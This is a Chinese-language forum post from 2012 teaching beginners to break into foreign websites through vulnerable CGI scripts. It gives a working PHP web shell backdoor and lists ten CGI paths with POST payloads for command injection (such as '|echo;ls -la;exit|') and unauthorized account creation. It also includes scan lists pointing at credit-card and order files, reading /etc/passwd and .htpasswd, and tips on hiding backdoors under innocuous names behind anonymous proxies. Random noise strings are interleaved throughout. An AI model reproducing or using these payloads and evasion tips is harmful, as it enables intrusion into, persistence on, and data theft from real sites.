中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
* q2 C! h" Q8 \5 c8 ~
大家好 我是bboyhip 只是一名菜菜的exploiter
]8 [1 |8 W' S) ]
很开心来到贵论坛
2 ]) y. z4 h$ h- b
这里让我感觉 很有技术交流的感觉
- u9 L u% ?. B1 v
我会长长来玩的
# y' y( ?) P1 E( O
前言:
: R$ h5 O0 E) F' @; A
以下讲解针对欧美日本网站
( y3 P6 G w& `: L
當我們在做滲透分析的時候 方法有很多
, C2 \; @; Y! s4 ]) b& A
我门都知道 国外伺服器大多是linux 平台
- m0 |. Y- l, f' [: n; f
所以有很多网站程序有6成都会使用cgi 脚本来管理
8 X; X# K9 F+ Y% B
目录为/cgi-bin/
/ p) v1 v/ q5 y8 P: _% j, L- }3 n
2 Z7 m/ q. q0 C l( X' |
只是个人在实务上一些经验
) I0 h! Q" P" ~. K: e7 w. V3 m1 D2 E
写的不好 请多多见谅喔
0 F% F6 ?0 ]9 q! A( ~9 I! X; X
在这里我简单分为几个部份一定要會的
0 s1 Y0 N0 k6 h" m4 K' U
讲解一下
4 I$ s+ `" s' m4 t( s6 m
让没有基础的人很容易上手
U5 h- i8 r6 b9 ?# c
- g) h5 P( w" ]) w, c
以下内容跟帖回复才能看到
( h; Z$ T4 N6 b, E! O
==============================
4 r( \+ L8 o9 `2 I# ?: V+ Y) u
5 K# x, G% d7 l7 F8 Q* A3 V
第1部份: 何谓Shell?
5 _8 c* F2 ]/ i. m1 [4 X3 R6 N
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
! b/ a! i7 K. y; v0 `" A& Z
A shell is the program which reads user input from the command line and executes actions based upon that input.
3 g5 Z" Q4 p1 ?0 v/ B$ w6 o, i
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
+ U! q0 F. l6 c* P2 q( k3 C
* v# P; G+ f4 J# f: L) f# {
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
+ P1 ~" @& s! B& h% r
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
) O6 p4 c( ^) d7 l7 T3 M# m9 e
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
6 }5 ]: J6 | y7 W" N4 U" o8 B$ c
% s2 P4 h- V4 m3 q
第2部份: Unix 指令
" T& D# a6 a7 r! r9 ]+ L, J" k* l
以下是一些常见及重要的指令:
0 `6 [- I! Z3 w- ]
pwd: 显示当前目录, 即是後门/程式所在的位置
& R* U9 u! _! x5 w) N" \, C
如 /home/www/site.com/cgi-bin/
" d0 g0 \: ?) _
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
0 o- F' X7 r! t6 j p3 t' O
ls -al :详细列出档案资料(当前目录)
+ V5 z1 {# A( o) d
ls /: 列出根目录
5 m; v# q# F; p" Q: ~( O0 r
ls /etc: 列出/etc的资料夹及档案
4 T9 O6 v) e$ a
ls ../ -al: 详细列出上一层的资料夹及档案
' y2 ?3 R" H3 S
cat: 显示档案内容
5 e4 m, I5 A5 Y, [6 O6 |
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
/ ?3 {! k% s3 V
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
3 f- ]- @5 e% r
who: 显示谁login 至系统
' p% J0 n1 Z& H$ Y) ~
man: 显示指令用法
; _( Z/ |" ]$ A3 T# T3 A$ }" K
man ls: 显示ls这指令的用法
( R! @2 j3 d+ L0 u! `1 J( g
mkdir 建立目录
7 E+ d+ M; }" @" ?( e' w
rmdir 删除目录
) t( o! t7 o9 a' E% _$ ?) @5 P
mv 移动档案
# ]: g9 Y, u$ m' o3 w
rm 删除档案
8 y$ ?; u6 U0 m: N7 C% T8 ~2 ~+ V
. q6 u8 ?2 ?, ]
第3部份: Shell的使用
: d- x- ?- N/ n0 _
例如:
$ A4 _8 F( W* |# h/ A6 \
http://site.com/refer.php
0 B3 x4 p& R" m
这是我的後门, 原代码如下:
( h5 K" ^) g, T
<Form Action="#" Method="POST">
& P2 a/ P3 |/ \7 C
<Input type="text" name="cmd">
; @! h, x! \( g3 ]: X
<Input type="Submit">
# a0 m( K2 D' G& V6 V7 u
</Form>
! ]" y$ N! ^# W- Z
<?php
# i! I5 K- }9 L1 `; K
$cmd = $_POST['cmd'];
5 g4 k" y+ q# t+ p" a' w5 d
$Output = shell_exec($cmd);
* S( [* f6 C9 j y( u( ]
echo $Output;
5 Y' ~7 v8 o `6 D: I& }
?>
7 z7 n5 K! b! \
输入pwd, 可得到绝对路径:
4 | F* J+ L2 |1 |* Y3 A( ~3 j/ r ^* U7 n
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
5 }8 b+ { w0 E; s, H2 Q
6 k& z" @+ Y( q
第4部份: 注意事项
; o5 U7 C/ c2 E ~
- 使用匿名代理, 保障自己
: P! ~8 c& Q6 N4 w c
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
2 o- Q( a" V7 S0 m1 G
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
4 }& c- z) l8 [
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
0 t' S9 L. ~: |: N! E2 b# c0 L: D
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
3 _/ j3 r) F& H7 a' _
不容易被发现.
# N% [) a. F3 b j
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
8 U% i3 n$ y: l6 m. f0 ^+ D
针对网站的渗透分析方法太多了
% Z1 `# Z L: W; I. o0 G6 U; V
这篇文章的重点是cgi 脚本攻击
f5 H1 Y9 ~9 U) y9 K& c
所以我用简单的叙述形容
3 k4 j) \5 N1 P }: c. A
开始讲解脚本入侵过程:
) H q: `+ u8 I7 g1 H
在这里提供一些方法思路让大家学习一下
" S6 q; s1 ?4 S- _8 ?, d
, X. n/ S& b3 v2 A1 m- \7 X
1.一开始对一个网站进行cgi漏洞扫描
5 D, j& ^# p4 m* {; l0 x# J
我们需要的东西有
+ ^; C, h) H& b; U" I) V$ \
扫洞工具 如:triton..等等
7 t6 j2 `+ O) ], V
E表
# P( R- J8 o& B/ g3 T h
如
6 p% O2 k% h6 b% f
/cgi-bin/add-passwd.cgi
& A+ e8 h" w5 G1 |' E/ \$ [
/WebShop/templates/cc.txt
7 h! h) H8 o0 u) J
/Admin_files/order.log
' e9 @5 p/ m5 f, M# F% l
/orders/mountain.cfg
x' o4 I2 J r; A
/cgi-sys/cart.pl
( a4 f2 ^' h5 N L; l+ x
/scripts/cart.pl
/ e* }$ {! c3 V z7 {0 |' M
/htbin/cart.pl
8 l' {& h& j* Q
E表来源可以是网路收寻或是自己的0 day
, D! n2 \: `. f3 c
& c9 y/ m9 G! O: y
2.怎样确认扫到的洞 是真的还假的?
( q* l: s1 Z! X0 M: G
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
" u$ V f- `- n6 X" Q; p
一般都是在IE里先看一下的,记住这个返回码哦
$ Z' M; F$ r( r7 t' i
ERROR:This script should be referenced with a METHOD of POST.
+ r8 k" l5 v# |9 j+ }1 t" ~0 M: p& C
没有返回一定是假的
$ `; w8 y6 v/ [
3.重来来了 很多人都会问我
; T. F7 Y8 ~- @4 x6 I# d
他扫到很多洞 但是不会使用
+ `* n+ W6 {0 D( d
因为这些漏洞 使用的语法 称为post
) g" p+ g X7 j; \4 v& X
我们要找post 的方法很多
" h& M7 y5 g0 Y$ I! S- P
可以是源代码分析 找出介质
X- f+ h7 X& C% Y- o0 U# d$ G: |9 n
或是用抓包工具 抓他的语法...等等
) w# {# ]4 z2 z4 E1 s
) A7 [8 ~8 J8 I. s" u3 q8 y& X1 h
以下我提供10个 cgi 洞以及使用方法post
6 ^) W* l8 U2 ~8 G( ^
让大家可以针对网站去做扫描
. [8 e5 @" I9 `
/index.cgi
2 E! x5 _7 m8 t3 G: D
wei=ren&gen=command
2 R0 r- [4 t. w4 Q+ X
/passmaster.cgi
% k# H6 q% Y* {' M0 p
Action=Add&Username=Username&Password=Password
1 L( Y# W% K c/ C
/accountcreate.cgi
5 K' p2 _$ C& ] v1 I# Q% {0 ?
username=username&password=password&ref1=|echo;ls|
+ U2 J5 R* s1 M8 G
/form.cgi
* f4 L% H/ ]5 I$ i% w
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
- }! Z% k" C7 w
/addusr.pl
" ?+ m8 b3 g' N) D
/cgi-bin/EuroDebit/addusr.pl
, P# s2 w/ I7 K3 J; T, J
user=username&pass=Password&confirm=Password
. ]' y) p6 U7 q# Z% O$ j4 o R
/ccbill-local.asp
, w9 ]: J0 y3 E4 S( G: _; Q
post_values=username:password
: N* M$ B. B3 A0 B& _6 r& a/ j/ X$ Q
/count.cgi
' Q4 S M: F F9 M4 E) e
pinfile=|echo;ls -la;exit|
9 J/ q! p" x; D g. ?
/recon.cgi
! x4 R' M1 B: S5 `2 U/ Q
/recon.cgi?search
7 |" a/ L8 o1 l5 o$ F' g% [1 L. Z
searchoption=1&searchfor=|echo;ls -al;exit|
9 z' G, S+ F( p5 \* K
/verotelrum.pl
) r# m; w4 a U* E" Z/ r( D2 @1 U
vercode=username:password:dseegsow:add:amount<&30>
( `+ p2 c/ K5 [5 Q
/af.cgi_browser_out=|echo;ls -la;exit;|
0 h/ i4 z" F/ S7 B; @% n$ j4 E4 S6 g- W
/ O1 e4 r8 r& n) S4 t8 F, u
今天就讲到这 感谢大家支持
* h1 x1 Y6 y5 G
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2